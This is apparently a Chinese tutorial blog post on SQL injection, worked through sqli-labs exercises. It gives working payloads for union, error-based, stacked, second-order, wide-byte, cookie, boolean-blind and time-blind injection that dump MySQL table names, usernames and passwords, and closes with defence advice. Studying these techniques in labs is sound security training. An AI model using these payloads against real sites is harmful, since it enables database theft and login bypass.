注入漏洞-SQL注入
注入漏洞-SQL注入引言SQL 注入是 Web 安全领域中一种典型的数据库攻击方式主要由于程序对用户输入的数据缺乏有效过滤和参数化处理导致攻击者可以影响原有 SQL 语句的执行逻辑。该漏洞可能造成敏感数据泄露、身份认证绕过、数据篡改等严重后果。漏洞类型有回显类型非绝对由实际代码来分析联合查询注入、报错注入、堆叠查询注入、二次注入、宽字节注入、Cookie 注入。无回显类型非绝对由实际代码来分析布尔盲注、时间盲注。sql注入攻击流程确定注入点-判断注入类型-获取数据库信息用户、版本、服务器信息-获取数据库名-获得数据库表名-获得数据库字段-获得数据库数据确定注入点and 11–、or 11–。判断注入类型数字型除0字符型加英文单双引号盲注看延时搜索类加%与_。靶场实践sqli-labs1联合查询注入在靶场就确定注入点了直接判断注入类型数字型除0没反应字符型单引号报错了确定是字符型先闭合单引号查询一下列数常用方法有order by 列数、union select NULL*列数。有时候可以用group by 列数(超过最大列数会报错)、…。确定有三列用联合注入查看数据库信息。常用方法UNION 、 UNION ALL。database()/schema()数据库名version()/version数据库版本user()/current_user()数据库用户basedir数据库安装路径这里的命令是MySQL可以用的不同数据库可能不同接下来解释获得数据库中的数据库名表名列名。知识点mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。GROUP_CONCAT()可替代函数CONCAT()、CONCAT_WS()、JSON_ARRAYAGG()(mysql高版本可以用)、JSON_OBJECTAGG()。union这里我就快速通过了。查表名?id-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--查字段?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers--查数据?id-1unionselect1,2,group_concat(username,id,password)fromusers--sqli-labs17报错注入可用函数updatexml() 报错注入?id1andupdatexml(1,concat(0x7e,database(),0x7e),1)--# 查版本unameadminpasswd1 and (extractvalue(1,concat(0x5c,version(),0x5c)))#submitSubmit # 查数据库名 unameadminpasswd1and(extractvalue(1,concat(0x5c,database(),0x5c)))#submitSubmit# 查表名unameadminpasswd1 and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x5c)))#submitSubmit # 查列名 unameadminpasswd1and(extractvalue(1,concat(0x5c,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers),0x5c)))#submitSubmit# 查数据unameadminpasswd1 and (extractvalue(1,concat(0x5c,(select password from (select password from users where usernameadmin1)b),0x5c)))#submitSubmitextractvalue() 报错注入?id1andextractvalue(1,concat(0x7e,database(),0x7e))--# 查版本unameadminpasswd123 and (updatexml(1,concat(0x5c,version(),0x5c),1))##submitSubmit # 查数据库名 unameadminpasswd123and(updatexml(1,concat(0x5c,database(),0x5c),1))#submitSubmit# 查表名unameadminpasswd123 and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x5c),1))#submitSubmit # 查列名 unameadminpasswd123and(updatexml(1,concat(0x5c,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemasecurityandtable_nameusers),0x5c),1))#submitSubmit# 查数据unameadminpasswd123 and (updatexml(1,concat(0x5c,(select password from (select password from users where usernameadmin1)b),0x5c),1))#submitSubmitfloor(rand()) 双查询报错?id1and(select1from(selectcount(*),concat(database(),0x7e,floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)--https://blog.csdn.net/miraclehw/article/details/129250360# 查版本unameadminpasswd1 and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#submitSubmit # 查数据库名 unameadminpasswd1and(selectcount(*)frominformation_schema.tablesgroupbyconcat(database(),0x5c,floor(rand(0)*2)))#submitSubmit# 查表名unameadminpasswd1 and (select count(*) from information_schema.tables where table_schemadatabase() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e,floor(rand(0)*2)))#submitSubmit # 查列名 unameadminpasswd1and(selectcount(*)frominformation_schema.columnswheretable_schemadatabase()groupbyconcat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers),0x7e,floor(rand(0)*2)))#submitSubmit# 查数据unameadminpasswd1 and (select 1 from(select count(*) from information_schema.columns where table_schemadatabase() group by concat(0x7e,(select password from users where usernameadmin1),0x7e,floor(rand(0)*2)))a)#submitSubmitsqli-labs38堆叠查询注入先确定是否可以堆叠查询注入# 添加数据?id3;insert into users(id,username,password) values(99,stacked,test)-- # 查询数据数据和我们添加的一样即可以确定有堆叠查询注入 ?id99;--# 查询数据库名?id1;insert into users(id,username,password) values (91,test,database())-- ?id91;--# 查询表名分段查询?id9;insert into users(id,username,password) select 93,2,substring(group_concat(table_name),1,20) from information_schema.tables where table_schemasecurity-- ?id93 # 查询列名 ?id1;insertintousers(id,username,password)values(26,1,(selectsubstring(group_concat(column_name),1,20)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers))--?id26# 查询数据?id1;insert into users(id,username,password) select 27,1,substring(group_concat(concat(username,0x3a,password)),1,20)fromusers--?id27sqli-labs24二次注入原因第一次输入没有直接触发注入而是把恶意字符串存进数据库第二次业务功能从数据库 / session 取出这个字符串后又直接拼接进 SQL才真正触发注入。二次注入的特点是payload 在一个入口被提交但不是在这个入口立刻生效而是在后续另一个 SQL 查询使用该数据时触发。我们先注册一个账号admin’#密码admin这里注册的时候后端对单引号有继续转义但是进去数据库后是没有转义的最后取出来后单引号和后端代码的单引号闭合从而实现注入。登录成功后进去修改密码最后修改的是admin的密码sqli-labs32宽字节注入原因程序把单引号转义成\ 但数据库使用 GBK 编码解析 SQL。攻击者在单引号前放入特定高位字节使程序添加的反斜杠 0x5c 与前一个字节组成合法 GBK 字符从而让后面的单引号逃逸出来重新闭合 SQL 字符串。可以理解为后端以单字节来表示一个字符而数据库设置的gbk是以两个字节来表示一个字符所以在编码的时候出现了问题从而实现了注入常用注入前缀%df%27单引号闭合、%df%22双引号闭合。# 查询版本?id-1%df%27%20union%20select%201,version(),3%20%23# 查询数据库名?id-1%df%27%20union%20select%201,database(),3%20%23# 查询表名?id-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schemadatabase()%23# 查询列名?id-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schemadatabase()andtable_name0x7573657273%23# 查询数据?id-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users%23sqli-labs20Cookie 注入其实和其它的sql注入差别不是很大只是将输入的地方换到了cookie。还有像refer注入类似的我就不一一举例了。注意cookie的unameadmin这个就是注入点。# 查询版本unameadminunion select 1,2, UPDATEXML(1,CONCAT(0x7e,version(),0x7e),1)%23 # 查询数据库名 unameadminunionselectUPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),1)%23# 查询表名unameadmin union select 1,2,UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMADATABASE()),0x7e),1)%23 # 查询列名 unameadminunionselect1,2,UPDATEXML(1,CONCAT(0x7e,(SELECTGROUP_CONCAT(COLUMN_NAME)FROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_SCHEMADATABASE()ANDTABLE_NAMEusers),0x7e),1)%23# 查询数据unameadmin union select 1,2,UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(USER:,username,PASS:,password)FROMusersLIMIT0,1),0x7e),1)%23sqli-labs62布尔盲注布尔盲注就是把想知道的问题改造成一个真假条件让数据库回答“是”或“否”再通过页面显示差异逐步还原数据库信息。一般用于目标不会直接显示查询结果也不会显示数据库报错但 SQL 条件真假会影响页面响应的地方。# 确定注入点?id1) and 11-- - # 查询版本 ?id1)andascii(substr(version(),1,1))53-- -# 查询数据库名?id1) and ascii(substr(database(),1,1))99-- - # 查询表名 ?id1)andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))112-- -# 查询列名?id1) and ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_name0x7033697361753568797a limit 0,1),1,1))105-- - # 查询数据 ?id1)andascii(substr((selectconcat(sessid,0x3a,secret_4CAT)fromp3isau5hyzlimit0,1),1,1))54-- -sqli-labs9时间盲注一般在存在 SQL 注入漏洞但“无回显”、布尔盲注不可用或不稳定、数据库支持延迟函数与响应时间可被稳定观测的情况下使用。# 确定注入点?id1 and if(11,sleep(5),1)-- # 判断数据库名长度 ?id1andif(length((selectdatabase()))9,sleep(5),1)--# 判断数据库名?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)-- # 判断所有表名长度 ?id1andif(length((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()))13,sleep(5),1)--# 判断表名?id1and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))99,sleep(5),1)-- # 判断所有列名的长度 ?id1andif(length((selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers))20,sleep(5),1)--# 判断列名?id1and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))99,sleep(5),1)-- # 判断数据内容长度 ?id1andif(length((selectgroup_concat(username,password)fromusers))109,sleep(5),1)--# 判断数据内容?id1andif(ascii(substr((selectgroup_concat(username,password)fromusers),1,1))50,sleep(5),1)--sql注入防御策略使用参数化查询SQL 语句结构先固定用户输入只作为“数据”不会参与 SQL 解析。输入验证和输出过滤通过正则表达式或者白名单等手段来限制输入对输出结果明显不合理的进行过滤和禁止。最小权限原则只给完成任务所需的最低权限用来减少误操作、越权和攻击成功后的破坏范围。使用准备语句把 SQL 模板和用户输入分开处理让用户输入只能当“数据”不能当“SQL 代码”。使用 ORM 框架把数据库表映射成程序里的对象让开发者尽量不用手写 SQL。

相关新闻

智谱面试官问:让 AI 给 AI 打分,怎么确认它没偏心?

智谱面试官问:让 AI 给 AI 打分,怎么确认它没偏心?

先把术语翻成人话 LLM-as-Judge:让模型当裁判 calibration:校准裁判偏差 rubric:给分标准表 一、面试现场 面试官提问 “让 AI 给 AI 打分,怎么确认它没偏心?” 候选人讲完自动评分方案:300 条测试集…

2026/10/12 12:21:15 阅读更多 →
S19.3海外冷启动——从0到1000个海外用户的增长策略

S19.3海外冷启动——从0到1000个海外用户的增长策略

AI产品出海实战 第3篇:海外冷启动——从0到1000个海外用户的增长策略 导读:在国内,你可以靠微信群、朋友圈、知乎、B站推广产品。但出海后,这些渠道都不存在了。海外用户有不同的信息获取习惯、不同的信任建立方式、不同的传播逻辑…

2026/10/9 2:50:51 阅读更多 →
Volga实时特征计算层:Kubernetes+Ray架构的低延迟实践

Volga实时特征计算层:Kubernetes+Ray架构的低延迟实践

1. 项目概述:为什么我们要给实时特征服务“测脉搏” 你有没有遇到过这样的场景:线上推荐模型明明训练得挺准,但一上线就卡顿,用户点击后要等两秒才出结果,AB测试的转化率直接掉两个点?或者更糟——流量高峰…

2026/10/7 8:27:02 阅读更多 →

最新新闻

主动型AI不是伪需求:从被动问答到主动行为预测的设计实战

主动型AI不是伪需求:从被动问答到主动行为预测的设计实战

哈,这个话题最近在圈子里炸开锅了。很多人私信问我“主动型AI到底是不是又一个伪需求”,我特地去翻了海外技术博客和几个大厂公开的demo,聊了一圈回来,先把结论放这儿:方向是真的,但现在九成团队都在用做“…

2026/10/14 22:58:51 阅读更多 →
剔除骑行路上的“三颗沙子”:身体、钱包与心态的持久热爱指南

剔除骑行路上的“三颗沙子”:身体、钱包与心态的持久热爱指南

骑了这么多年车,周围一起出发的人换了好几拨。有人第一年热情高涨,天天刷圈速,第二年就把车挂在闲鱼上;有人跟着买了全套顶级装备,骑了三次就落灰;还有人膝盖疼了两个月,从此看见坐垫就心里发怵…

2026/10/14 22:58:51 阅读更多 →
Flink动态配置热更新:基于BroadcastState的毫秒级规则变更方案

Flink动态配置热更新:基于BroadcastState的毫秒级规则变更方案

1. 项目概述:为什么Flink任务配置不能“改完就生效”?在某次数据平台升级中,我负责支撑一个实时风控场景的Flink作业集群——它要对每秒数万笔交易做毫秒级异常识别,规则引擎依赖外部配置中心下发的阈值、黑白名单和模型版本号。上…

2026/10/14 22:58:51 阅读更多 →
Flink动态配置热更新实战:零重启秒级生效方案

Flink动态配置热更新实战:零重启秒级生效方案

1. 这不是“改个配置重启一下”那么简单:为什么Flink任务配置必须动态更新在某公司实时风控系统上线后的第三个月,凌晨两点,监控告警突然炸开——某核心Flink作业的TPS从8000骤降至200,延迟飙升至分钟级。运维同学第一反应是“赶紧…

2026/10/14 22:58:51 阅读更多 →
基于吸血水蛭优化器的单仓库多旅行商问题Matlab求解实践

基于吸血水蛭优化器的单仓库多旅行商问题Matlab求解实践

前阵子有朋友找我帮忙优化一个同城配送的调度模块:一个出发点,三台车,要同时覆盖周边二十来个服务点,不能重复也不能漏,最后都要回到出发点。一开始我还想直接上经典TSP,结果算下来发现两条腿根本不够&…

2026/10/14 22:58:51 阅读更多 →
昇腾AI守正与开放:大模型时代软硬件协同与开发者迁移实战

昇腾AI守正与开放:大模型时代软硬件协同与开发者迁移实战

1. 从"淘金热"说起:大模型浪潮里真正稀缺的是什么大模型这波浪潮,用"淘金热"来形容一点都不夸张。过去两年,几乎每一家有点技术积累的公司都在往这个方向挤:有的做基础模型训练,有的做行业微调&am…

2026/10/14 22:57:48 阅读更多 →

日新闻

AnyPS5通用适配层设计:兼容性与性能的工程取舍

AnyPS5通用适配层设计:兼容性与性能的工程取舍

1. 从"AnyPS5"这个名字说起:它到底想解决什么问题第一次看到"AnyPS5"这个标题,我脑子里冒出来的第一个念头是:这大概率是一个围绕"跨平台运行"或者"通用适配"做文章的项目。名字里的"Any"…

2026/10/14 0:00:41 阅读更多 →
Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

1. 项目概述:Flutter跨平台二手交易应用开发作为一名长期从事移动应用开发的工程师,我最近完成了一个基于Flutter框架的二手物品交易平台项目。这个项目最吸引我的地方在于它完美结合了Flutter的跨平台优势与HarmonyOS的生态特性,实现了"…

2026/10/14 0:00:41 阅读更多 →
DFS算法解决飞机降落调度问题实战

DFS算法解决飞机降落调度问题实战

1. 项目背景与核心思路飞机降落问题是一个经典的调度优化场景,也是算法竞赛和面试中的高频题目。这个题目要求我们合理安排多架飞机的降落顺序和时间,确保所有飞机都能安全着陆而不发生冲突。在实际航空管制中,这类问题直接关系到飞行安全和机…

2026/10/14 0:00:41 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/14 3:30:28 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/14 16:30:29 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/14 3:29:58 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 22:01:27 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 22:45:47 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 7:53:34 阅读更多 →